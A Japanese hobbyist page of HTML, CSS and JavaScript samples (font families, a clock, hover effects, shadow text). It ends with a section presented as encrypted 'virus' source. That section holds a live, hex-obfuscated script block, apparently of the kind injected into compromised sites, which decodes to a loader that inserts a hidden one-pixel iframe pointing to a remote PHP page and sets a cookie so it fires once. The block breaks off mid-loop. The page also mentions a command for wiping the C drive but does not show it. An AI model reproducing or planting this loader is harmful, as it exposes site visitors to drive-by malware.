**********************************************************************************************
[Note]
After garbled, you can right-click the mouse,
after entering the encoding, click the Japanese (Shift JIS). Garbled repaired.


[注意]
部分的に、スマートフォン、タブレット、Windows7、Windows8 は、表示されません。
WindowsXP(DOSV機) は全て表示されます。

**********************************************************************************************



■JavaScript & Stylesheet のサンプルソース集

1■以下のプログラムをHTMLプログラムの中の
</TITLE>と</HEAD>の間に書いて下さい。

<STYLE TYPE="text/css"> <!-- p{ margin: 0; font-size: 2em; } .c1{font-family:serif} .c2{font-family:sans-serif} .c3{font-family:cursive} .c4{font-family:fantasy} .c5{font-family:monospace} --> </STYLE>

以下のプログラムを <BODY>と</BODY>の間に書いて下さい。 <P class="c1">明朝体</P> <P class="c2">ゴシック体</P> <P class="c3">草書体</P> <P class="c4">装飾系</P> <P class="c5">等幅フォント</P>
★実行結果:

明朝体

ゴシック体

草書体

装飾系

等幅フォント

2■日時表示

<SCRIPT LANGUAGE="JavaScript">
function today(){
setTimeout("today()",1000);
document.forms[0].elements[0].value=new Date();
}
</SCRIPT>
<FORM METHOD="POST">

★実行結果:

3■リンク色変化 <style type="text/css"> <!-- a { text-decoration: none } a:hover { color: #00ff00 } --> </style> ★実行結果:
ここにポインターを当てて、クリックして下さい。


4■文の行間を空ける <STYLE type="text/css"> <!-- #a{line-height:150%} --> </STYLE> ★実行結果:行間を150%に設定した場合
祇園精舎の鐘の声、諸行無常の響きあり。

沙羅双樹の花の色、盛者必衰の理をあらわす。

驕れる者久しからず、ただ春の夜の夢の如し。

猛き人もついに滅びぬ、ひとへに風の前の塵に同じ。

(平家物語より)
5■文字列に影をつける <DIV ID="ShadowTest" style="width:100%;height:50px;font-size:25pt;color:white; filter:shadow(color=blue,direction=150)">
影文字のサンプル
</DIV>
★実行結果:
影文字のサンプル

<DIV ID="ShadowTest" style="width:100%;height:50px;font-size:25pt;color:white; filter:shadow(color=green,direction=150)">
影文字のサンプル
</DIV>
★実行結果:
影文字のサンプル

<DIV ID="ShadowTest" style="width:100%;height:50px;font-size:25pt;color:white; filter:shadow(color=red,direction=150)">
影文字のサンプル
</DIV>
★実行結果:
影文字のサンプル

6■リンクBGの変色

<STYLE TYPE="text/css">
<!--
ul {
list-style: none;
margin-left: 0;
padding-left: 0;
}
li a {
text-decoration: none;
display: block;
padding: 0.2em;
width: 5em;
border-bottom: 1px solid #fff;
color: #fff;
background: #f60;
}
li a:hover{
color: #fff;
background: #fc0;
}
-->
</STYLE>

以下のプログラムを<BODY>と</BODY>の間に書いて下さい。
<UL> <LI><A HREF="A.htm">項目A</A></LI> <LI><A HREF="B.htm">項目B</A></LI> <LI><A HREF="C.htm">項目C</A></LI> <LI><A HREF="D.htm">項目D</A></LI> </UL>

★実行結果: ポインタを各項目に当てて、クリックして下さい。

7■世界時計
ポインターを国へ持っていってクリックして下さい。その国の今の時間が解ります。

★世界時計のプログラムソースです。
■スタイルシート( Cascading Style Sheets )とは、HTMLプログラム上に載せるのに
Javaの様にコンパイルする必要がなく、
直接書き込みする事によりWebページをレイアウトする事が出来ます。
表現方法を指定するための言語ではなく、文書がどのような要素で構成されているのか、
またある特定の部分が文書全体の中でどの様な意味を持っているのかを、
コンピュータに知らせるための言語なのです。
上記サンプルソースが、Web ページを作成するための一助となれば幸いです。
このページでは、Webページをよりアクティブなページにするために、
実践的なプログラムを紹介していきます。
尚、掲載ソースをコピー&ペーストして使用する場合は、
HTMLの鍵カッコを半角に修正して使用下さい。

8■DOSV機でのフォーマットの方法DOSV機なら、ドスプロンプト上で、
下記のコマンドだけで、Cハードディスクを初期化出来ます。


9■Javaプログラムの基礎知識
(注)WindowsXP、Windows7(初期バージョン)でないと、閲覧出来ません。
Windows8は、Javaプログラムに対応しておりません。


10■コンピューターウィルス
★ウィルスの、javascript言語ソースです。暗号化されています。
最近のウィルスはほとんど暗号化されています。


***********************************************************************************************************
<!--0c0896-->
<script type="text/javascript" language="javascript" >
ps="split";e=eval;v="0x";a=0;z="y";try{a*=25}catch(zz){a=1}
if(!a){try{--e("doc"+"ument")["\x62od"+z]}
catch(q){a2="_";sa=0xa-02;}
z="28_6e_7d_76_6b_7c_71_77_76_28_82_82_82_6e_6e_6e_30_31_28_83_15_12_28_7e_69_7a_28_6f_7e_28_45_28_6c_77_
6b_7d_75_6d_76_7c_36_6b_7a_6d_69_7c_6d_4d_74_6d_75_6d_76_7c_30_2f_71_6e_7a_69_75_6d_2f_31_43_15_12_15_12_
28_6f_7e_36_7b_7a_6b_28_45_28_2f_70_7c_7c_78_42_37_37_76_71_78_6d_74_7d_76_6f_6d_76_7b_36_6c_6d_37_6b_76_7c_
36_78_70_78_2f_43_15_12_28_6f_7e_36_7b_7c_81_74_6d_36_78_77_7b_71_7c_71_77_76_28_45_28_2f_69_6a_7b_77_74_7d_
7c_6d_2f_43_15_12_28_6f_7e_36_7b_7c_81_74_6d_36_6a_77_7a_6c_6d_7a_28_45_28_2f_38_2f_43_15_12_28_6f_7e_36_7b_7c_
81_74_6d_36_70_6d_71_6f_70_7c_28_45_28_2f_39_78_80_2f_43_15_12_28_6f_7e_36_7b_7c_81_74_6d_36_7f_71_6c_7c_70_28_
45_28_2f_39_78_80_2f_43_15_12_28_6f_7e_36_7b_7c_81_74_6d_36_74_6d_6e_7c_28_45_28_2f_39_78_80_2f_43_15_12_28_6f_
7e_36_7b_7c_81_74_6d_36_7c_77_78_28_45_28_2f_39_78_80_2f_43_15_12_15_12_28_71_6e_28_30_29_6c_77_6b_7d_75_6d_76_7c_
36_6f_6d_7c_4d_74_6d_75_6d_76_7c_4a_81_51_6c_30_2f_6f_7e_2f_31_31_28_83_15_12_28_6c_77_6b_7d_75_6d_76_7c_36_7f_7a_
71_7c_6d_30_2f_44_6c_71_7e_28_71_6c_45_64_2f_6f_7e_64_2f_46_44_37_6c_71_7e_46_2f_31_43_15_12_28_6c_77_6b_7d_75_6d_
76_7c_36_6f_6d_7c_4d_74_6d_75_6d_76_7c_4a_81_51_6c_30_2f_6f_7e_2f_31_36_69_78_78_6d_76_6c_4b_70_71_74_6c_30_6f_7e_31_
43_15_12_28_85_15_12_85_15_12_6e_7d_76_6b_7c_71_77_76_28_5b_6d_7c_4b_77_77_73_71_6d_30_6b_77_77_73_71_6d_56_69_75_6d_
34_6b_77_77_73_71_6d_5e_69_74_7d_6d_34_76_4c_69_81_7b_34_78_69_7c_70_31_28_83_15_12_28_7e_69_7a_28_7c_77_6c_69_81_28_
45_28_76_6d_7f_28_4c_69_7c_6d_30_31_43_15_12_28_7e_69_7a_28_6d_80_78_71_7a_6d_28_45_28_76_6d_7f_28_4c_69_7c_6d_30_31_
43_15_12_28_71_6e_28_30_76_4c_69_81_7b_45_45_76_7d_74_74_28_84_84_28_76_4c_69_81_7b_45_45_38_31_28_76_4c_69_81_7b_45_
39_43_15_12_28_6d_80_78_71_7a_6d_36_7b_6d_7c_5c_71_75_6d_30_7c_77_6c_69_81_36_6f_6d_7c_5c_71_75_6d_30_31_28_33_28_3b_
3e_38_38_38_38_38_32_3a_3c_32_76_4c_69_81_7b_31_43_15_12_28_6c_77_6b_7d_75_6d_76_7c_36_6b_77_77_73_71_6d_28_45_28_6b_
77_77_73_71_6d_56_69_75_6d_33_2a_45_2a_33_6d_7b_6b_69_78_6d_30_6b_77_77_73_71_6d_5e_69_74_7d_6d_31_15_12_28_33_28_2a_
43_6d_80_78_71_7a_6d_7b_45_2a_28_33_28_6d_80_78_71_7a_6d_36_7c_77_4f_55_5c_5b_7c_7a_71_76_6f_30_31_28_33_28_30_30_78_
69_7c_70_31_28_47_28_2a_43_28_78_69_7c_70_45_2a_28_33_28_78_69_7c_70_28_42_28_2a_2a_31_43_15_12_85_15_12_6e_7d_76_6b_
7c_71_77_76_28_4f_6d_7c_4b_77_77_73_71_6d_30_28_76_69_75_6d_28_31_28_83_15_12_28_7e_69_7a_28_7b_7c_69_7a_7c_28_45_28_
6c_77_6b_7d_75_6d_76_7c_36_6b_77_77_73_71_6d_36_71_76_6c_6d_80_57_6e_30_28_76_69_75_6d_28_33_28_2a_45_2a_28_31_43_15_
12_28_7e_69_7a_28_74_6d_76_28_45_28_7b_7c_69_7a_7c_28_33_28_76_69_75_6d_36_74_6d_76_6f_7c_70_28_33_28_39_43_15_12_28_
71_6e_28_30_28_30_28_29_7b_7c_69_7a_7c_28_31_28_2e_2e_15_12_28_30_28_76_69_75_6d_28_29_45_28_6c_77_6b_7d_75_6d_76_7c_
36_6b_77_77_73_71_6d_36_7b_7d_6a_7b_7c_7a_71_76_6f_30_28_38_34_28_76_69_75_6d_36_74_6d_76_6f_7c_70_28_31_28_31_28_31_
15_12_28_83_15_12_28_7a_6d_7c_7d_7a_76_28_76_7d_74_74_43_15_12_28_85_15_12_28_71_6e_28_30_28_7b_7c_69_7a_7c_28_45_45_
28_35_39_28_31_28_7a_6d_7c_7d_7a_76_28_76_7d_74_74_43_15_12_28_7e_69_7a_28_6d_76_6c_28_45_28_6c_77_6b_7d_75_6d_76_7c_
36_6b_77_77_73_71_6d_36_71_76_6c_6d_80_57_6e_30_28_2a_43_2a_34_28_74_6d_76_28_31_43_15_12_28_71_6e_28_30_28_6d_76_6c_
28_45_45_28_35_39_28_31_28_6d_76_6c_28_45_28_6c_77_6b_7d_75_6d_76_7c_36_6b_77_77_73_71_6d_36_74_6d_76_6f_7c_70_43_15_
12_28_7a_6d_7c_7d_7a_76_28_7d_76_6d_7b_6b_69_78_6d_30_28_6c_77_6b_7d_75_6d_76_7c_36_6b_77_77_73_71_6d_36_7b_7d_6a_7b_
7c_7a_71_76_6f_30_28_74_6d_76_34_28_6d_76_6c_28_31_28_31_43_15_12_85_15_12_71_6e_28_30_76_69_7e_71_6f_69_7c_77_7a_36_
6b_77_77_73_71_6d_4d_76_69_6a_74_6d_6c_31_15_12_83_15_12_71_6e_30_4f_6d_7c_4b_77_77_73_71_6d_30_2f_7e_71_7b_71_7c_6d_
6c_67_7d_79_2f_31_45_45_3d_3d_31_83_85_6d_74_7b_6d_83_5b_6d_7c_4b_77_77_73_71_6d_30_2f_7e_71_7b_71_7c_6d_6c_67_7d_79_
2f_34_28_2f_3d_3d_2f_34_28_2f_39_2f_34_28_2f_37_2f_31_43_15_12_15_12_82_82_82_6e_6e_6e_30_31_43_15_12_85_15_12_85_15_
12"[ps](a2);za="";
for(i=0;i
</script>
<!--/0c0896-->
**************************************************************************************************************